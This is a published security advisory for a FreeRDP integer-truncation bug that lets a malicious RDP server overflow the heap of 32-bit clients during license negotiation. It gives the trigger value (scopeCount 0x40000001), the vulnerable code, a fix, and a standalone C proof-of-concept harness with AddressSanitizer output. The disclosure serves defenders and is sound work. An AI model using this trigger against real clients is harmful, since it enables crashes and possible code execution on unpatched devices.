All vulnerabilities
GHSA-hxw3-57rq-3v4m

freerdp: Integer Truncation in license_check_stream_length leading to out of bound write on 32-bit Platforms

freerdp
CVSS
5.3Medium
ExploitationNo known exploitationNot in CISA KEV, which does not prove it is unexploitedCISA KEV
Exploit odds (EPSS)No scoreNo FIRST EPSS score in this snapshot yet
Fixed in3.32.0Fixed versionGitHub
Published28 Sep 2026Updated 28 Sep 2026GitHub

What fixes it

A fixed version on one release line is not the upgrade target for every line. Check your exact version and any vendor backports.

Description

Summary

hey,

an integer truncation vulnerability in license_check_stream_length allows a malicious rdp server to trigger a heap buffer overflow on any 32-bit freerdp client during license negotiation, leading to denial of service and potentially remote code execution.

the function takes a SSIZE_T parameter for the expected stream length. on 32-bit platforms, SSIZE_T is a 32-bit signed integer. when license_read_scope_list passes the 64-bit long long expression 4ll * scopeCount as this parameter, implicit narrowing truncation discards the high 32 bits. a crafted scopeCount value bypasses the stream length validation after truncation. the subsequent realloc in license_scope_list_resize also overflows on 32-bit, allocating a tiny buffer. the following loop then writes scopeCount pointers into this undersized allocation, causing a heap buffer overflow.

affected versions: <= 3.31.1 on 32-bit builds including arm32, x86, mips32, etc. 64-bit builds are not affected because SSIZE_T is 64-bit and the realloc multiplication does not wrap.

Details

in license_read_scope_list at license.c:1724, the server-supplied scopeCount is read from the stream:

Stream_Read_UINT32(s, scopeCount);

if (!license_check_stream_length(log, s, 4ll * scopeCount, "license scope list::count")) return FALSE;

license_check_stream_length at license.c:511 takes SSIZE_T expect:

static BOOL license_check_stream_length(wLog* log, wStream* s, SSIZE_T expect, const char* where)

on 32-bit platforms, SSIZE_T is int32_t or long, a 32-bit type. the expression 4ll * scopeCount produces a 64-bit long long value, but it is implicitly truncated when passed as SSIZE_T.

with scopeCount = 0x40000001:

  • 4ll * 0x40000001 = 0x100000004, a 64-bit value
  • truncated to 32-bit SSIZE_T: 0x00000004, just 4
  • the stream length check passes if >= 4 bytes remain
  • the expect < 0 negativity check also passes since 4 is positive

license_scope_list_resize at license.c:1806 then allocates:

LICENSE_BLOB tmp = (LICENSE_BLOB)realloc((void*)scopeList->array, count * sizeof(LICENSE_BLOB*));

on 32-bit, count = 0x40000001 and sizeof pointer = 4:

  • 0x40000001 * 4 = 0x100000004, wraps to 4 bytes on 32-bit size_t
  • realloc allocates only 4 bytes

the loop at lines 1818-1826 writes 0x40000001 pointers into this 4-byte buffer:

for (UINT32 x = scopeList->count; x < count; x++) { LICENSE_BLOB* blob = license_new_binary_blob(BB_SCOPE_BLOB); if (!blob) { ... } scopeList->array[x] = blob; }

this causes massive heap corruption. the loop will eventually fail when calloc returns NULL from memory exhaustion on 32-bit, but significant heap metadata corruption occurs before that point.

a malicious rdp server waits for a client connection and responds with a crafted SERVER_LICENSE_REQUEST containing scopeCount = 0x40000001 or similar values that cause the truncation to produce a small positive number. no authentication is required since license negotiation happens before credential exchange.

suggested fix: change the parameter type of license_check_stream_length from SSIZE_T to INT64 or size_t to prevent truncation. alternatively, add an explicit overflow check before the function call:

if (scopeCount > SIZE_MAX / 4) return FALSE;

PoC

test_overflow.c is a standalone harness that extracts the vulnerable code path from license.c and reproduces the truncation and heap overflow without requiring a live FreeRDP binary or RDP server.

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

typedef int32_t SSIZE_T;
typedef uint32_t UINT32;
typedef uint16_t UINT16;
typedef uint8_t BYTE;
typedef int BOOL;
#define TRUE 1
#define FALSE 0

typedef struct {
    UINT16 type;
    UINT16 length;
    BYTE* data;
} LICENSE_BLOB;

typedef struct {
    LICENSE_BLOB** array;
    UINT32 count;
} SCOPE_LIST;

static BOOL license_check_stream_length(size_t remaining, SSIZE_T expect, const char* where) {
    if (expect < 0) {
        fprintf(stderr, "%s: expect=%d negative\n", where, expect);
        return FALSE;
    }

    if (remaining < (size_t)expect) {
        fprintf(stderr, "%s: remaining=%zu < expect=%d\n", where, remaining, expect);
        return FALSE;
    }

    fprintf(stderr, "%s: remaining=%zu >= expect=%d\n", where, remaining, expect);
    return TRUE;
}

static LICENSE_BLOB* license_new_binary_blob(UINT16 type) {
    LICENSE_BLOB* blob = (LICENSE_BLOB*)calloc(1, sizeof(LICENSE_BLOB));
    if (blob)
        blob->type = type;
    return blob;
}

static BOOL license_scope_list_resize(SCOPE_LIST* scopeList, UINT32 count) {
    if (count > 0) {
        LICENSE_BLOB** tmp = (LICENSE_BLOB**)realloc(scopeList->array, count * sizeof(LICENSE_BLOB*));
        if (!tmp)
            return FALSE;
        scopeList->array = tmp;
    }

    for (UINT32 x = scopeList->count; x < count; x++) {
        LICENSE_BLOB* blob = license_new_binary_blob(0x00FF);
        if (!blob)
            return FALSE;
        scopeList->array[x] = blob;
    }

    scopeList->count = count;
    return TRUE;
}

int main(void) {
    UINT32 scopeCount = 0x40000001;
    size_t stream_remaining = 100;

    fprintf(stderr, "sizeof(SSIZE_T)=%zu  sizeof(void*)=%zu  sizeof(size_t)=%zu\n", sizeof(SSIZE_T), sizeof(void*), sizeof(size_t));
    fprintf(stderr, "scopeCount = 0x%08X\n", scopeCount);
    fprintf(stderr, "4LL * scopeCount = 0x%llX\n", (unsigned long long)(4LL * scopeCount));
    fprintf(stderr, "(SSIZE_T)(4LL * scopeCount) = %d\n\n", (SSIZE_T)(4LL * scopeCount));

    if (!license_check_stream_length(stream_remaining, 4LL * scopeCount, "license scope list::count"))
        return 1;

    fprintf(stderr, "\ntruncation bypassed the check, calling license_scope_list_resize...\n");
    fprintf(stderr, "realloc size: 0x%08X * %zu = 0x%zX\n", scopeCount, sizeof(LICENSE_BLOB*), (size_t)(scopeCount * sizeof(LICENSE_BLOB*)));

    SCOPE_LIST scopeList = {0};
    license_scope_list_resize(&scopeList, scopeCount);

    return 0;
}

compile as 32-bit with ASAN:

gcc -m32 -fsanitize=address -g -o test_overflow test_overflow.c ./test_overflow

asan output from test_overflow on 32-bit x86:

sizeof(SSIZE_T)=4 sizeof(void*)=4 sizeof(size_t)=4 scopeCount = 0x40000001 4LL * scopeCount = 0x100000004 (SSIZE_T)(4LL * scopeCount) = 4

license scope list::count: remaining=100 >= expect=4

truncation bypassed the check, calling license_scope_list_resize... realloc size: 0x40000001 * 4 = 0x4 ==749==ERROR: AddressSanitizer: heap-buffer-overflow on address 0xf5400794 WRITE of size 4 at 0xf5400794 thread T0 #0 in license_scope_list_resize test_overflow.c:58 #1 in main test_overflow.c:85

0xf5400794 is located 0 bytes after 4-byte region [0xf5400790,0xf5400794) allocated by thread T0 here: #0 in realloc #1 in license_scope_list_resize test_overflow.c:48

SUMMARY: AddressSanitizer: heap-buffer-overflow test_overflow.c:58 in license_scope_list_resize

Impact

heap buffer overflow via out-of-bounds pointer writes. on 32-bit platforms, this can lead to denial of service via crash and potentially remote code execution through heap corruption.

affected platforms include android arm32 devices, raspberry pi with 32-bit os, embedded linux systems, and 32-bit windows builds of freerdp.

Text from GitHub Advisory Database

Affected versions 1

  • freerdp<= 3.31.1GitHub